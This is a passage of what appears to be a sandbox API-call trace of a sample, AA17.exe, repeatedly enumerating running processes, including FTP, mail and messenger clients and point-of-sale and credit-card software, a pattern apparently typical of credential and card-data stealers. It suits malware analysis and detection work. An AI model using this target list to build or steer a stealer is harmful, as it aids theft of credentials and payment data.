Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0238.427] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0238.429] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0238.431] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0238.433] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0238.435] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0238.437] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0238.440] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0238.442] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0238.444] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0238.447] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0238.481] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0238.484] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0238.486] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0238.489] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0238.491] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0238.493] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0238.495] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0238.497] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0238.499] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0238.504] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0238.506] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0238.508] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0238.510] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0238.512] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0238.514] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0238.516] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0238.518] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0238.520] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0238.522] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0238.524] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0238.526] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0238.528] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0238.533] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0238.535] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0238.537] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0238.538] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0238.540] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0238.542] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0238.544] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0238.546] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0238.548] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0238.550] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0238.552] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0238.554] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0238.556] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0238.623] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0238.627] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0238.629] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0238.634] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 0 [0238.636] CloseHandle (hObject=0x21ec) returned 1 [0238.636] Sleep (dwMilliseconds=0x64) [0238.638] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ec [0238.654] Process32First (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.656] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0238.659] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0238.694] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.697] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0238.699] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.702] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0238.704] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0238.707] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0238.709] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.711] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.713] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0238.716] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.718] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.721] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.723] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.726] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.728] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.731] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.733] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0238.735] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0238.738] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0238.740] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.741] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0238.743] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0238.744] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0238.747] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0238.749] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0238.751] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0238.754] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0238.756] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.759] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0238.762] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 